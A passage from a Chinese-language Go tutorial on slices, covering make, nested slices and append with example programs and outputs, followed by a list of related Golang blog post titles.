 fmt.Println("nil!")
 }
}

运行后结果如下

[] 0 0
nil!

用 make 创建切片

切面可以用内建函数make来创建，这也是创建动态数组的方式。
make函数会分配一个元素为零值的数组并返回一个引用了它的切片：

a := make([]int, 5) // len(a)=5

如果要指定它的容量，需向 make 传入第三个参数：

b := make([]int, 0, 5) // len(b)=0, cap(b)=5

b = b[:cap(b)] // len(b)=5, cap(b)=5
b = b[1:] // len(b)=4, cap(b)=4

再来看个详细的实例

package main

import "fmt"

func main() {
 a := make([]int, 5)
 printSlice("a", a)

 b := make([]int, 0, 5)
 printSlice("b", b)

 c := b[:2]
 printSlice("c", c)

 d := c[2:5]
 printSlice("d", d)
}

func printSlice(s string, x []int) {
 fmt.Printf("%s len=%d cap=%d %v\n",
 s, len(x), cap(x), x)
}

切片的切片

切片可包含任何类型，甚至包括其它的切片。如下详细实例

package main

import (
 "fmt"
 "strings"
)

func main() {
 // Create a tic-tac-toe board.
 board := [][]string{
 []string{"_", "_", "_"},
 []string{"_", "_", "_"},
 []string{"_", "_", "_"},
 }

 // The players take turns.
 board[0][0] = "X"
 board[2][2] = "O"
 board[1][2] = "X"
 board[1][0] = "O"
 board[0][2] = "X"

 for i := 0; i < len(board); i++ {
 fmt.Printf("%s\n", strings.Join(board[i], " "))
 }
}

运行后结果输出如下

X _ X
O _ X
_ _ O

向切片追加元素

为切片追加新的元素是种常用的操作，为此Go提供了内建的append函数。 append内建函数的详情介绍请转到这里[https://go-zh.org/pkg/builtin/#append]。

func append(s []T, vs …T) []T

append 的第一个参数 s 是一个元素类型为 T 的切片，其余类型为 T 的值将会追加到该切片的末尾。
append 的结果是一个包含原切片所有元素加上新添加元素的切片。
当 s 的底层数组太小，不足以容纳所有给定的值时，它就会分配一个更大的数组。返回的切片会指向这个新分配的数组。实例演示如下

package main

import "fmt"

func main() {
 var fruits []string
 printSlice(fruits)

 fruits = append(fruits, "Apple")
 printSlice(fruits)

 fruits = append(fruits, "Orange")
 printSlice(fruits)

 fruits = append(fruits, "Banana", "Peach", "Tomoto")
 printSlice(fruits)
}

func printSlice(s []string) {
 fmt.Printf("len=%d, cap=%d, %v \n", len(s), cap(s), s)
}

运行后输出结果如下

len=0, cap=0, [] 
len=1, cap=1, [Apple] 
len=2, cap=2, [Apple Orange] 
len=5, cap=5, [Apple Orange Banana Peach Tomoto]

Golang on Dapeng Zhang

Golang之微信【订阅通知】开发 - 下

Golang之微信【订阅通知】开发 - 上

Golang之微信【获取接口调用凭据】开发

Golang之Buffer Channel的用法

【go语言技术积累】初步使用grpc

golang创建Excel表格

微信公众号消息接收与回复golang代码演示

微信公众号验证服务器地址的有效性的golang版本实现演示

golang发送邮件功能代码演示

golang 字符串替换 使用strings.replacer 替换为 strings.replace

golang中get请求

Go 1.21.0 版本发布

go1.21.0 (released 2023-08-08)

Golang开发之Sublime Text 3环境开发配置（GoSublime + LSP）

1、先安装GoSublime（之前部分随笔说不建议，是个误解，还是了解的不透彻）

2、安装LSP

Go 1.15.4 和 Go 1.14.11 版本发布

Go 1.15.3 和 Go 1.14.10 版本发布

转载：vscode 的 golang 提示很慢

Composite literal uses unkeyed fields

如何在iOS和Android中运行Golang代码

Golang - Go 1.15.2 和 Go 1.14.9发布

Golang小知识 - go关键字创建并发执行

Go 1.14 正式发布啦！多项重大更新(记录)

Golang小知识 - const和var的使用区别

Golang小知识 - 别名的使用

Golang 解决国内下载慢的问题（goproxy 代理）

Golang学习资源收集记录

Golang官网

Golang用户群

Golang网站开发之模版的template和block的使用

Golang中template的使用注意事项（ParseFiles和ExecuteTemplate）

Golang网站开发之模板中的range嵌套if的使用方法

情况介绍

Golang网站开发之model层修改

Golang版本管理工具gvm

安装

正确的使用方式

Golang依赖库“go mod”不要太方便

Golang知识点：interface与string之间的转换

第一种interface与string之间的转换方式如下

第二种interface与string之间的转换方式如下

第三种interface与string之间的转换方式如下

第四种interface与string之间的转换方式如下

Golang网站开发之跳转逻辑实现和模版if操作

Golang网站开发之模版的if操作

Golang网站开发之时间戳及格式化时间字符串的使用

Golang网站开发之控制器目录调整

Golang网站开发之启动文件修改

Sublime Text 3配置Golang开发环境（1）

为什么不建议使用Gosublime

完整篇 - 推荐使用

Go基础学习记录之部署和维护(四)

备份和恢复

MySQL备份

MySQL恢复

Redis备份

Redis恢复

小结

Go基础学习记录之部署和维护(三)

部署

小结

Go基础学习记录之部署和维护(二)

错误和崩溃

错误处理目标

如何处理错误

如何处理异常

小结

Golang网站开发之控制器和模型修改

修改路由

修改控制器（controller）

修改模型（model）

Go基础学习记录之部署和维护(一)

日志

小结

Go基础学习记录之编写测试用例

如何编写测试用例

如何写压力测试

小结

golang 字符串替换使用strings.replacer 替换为 strings.replace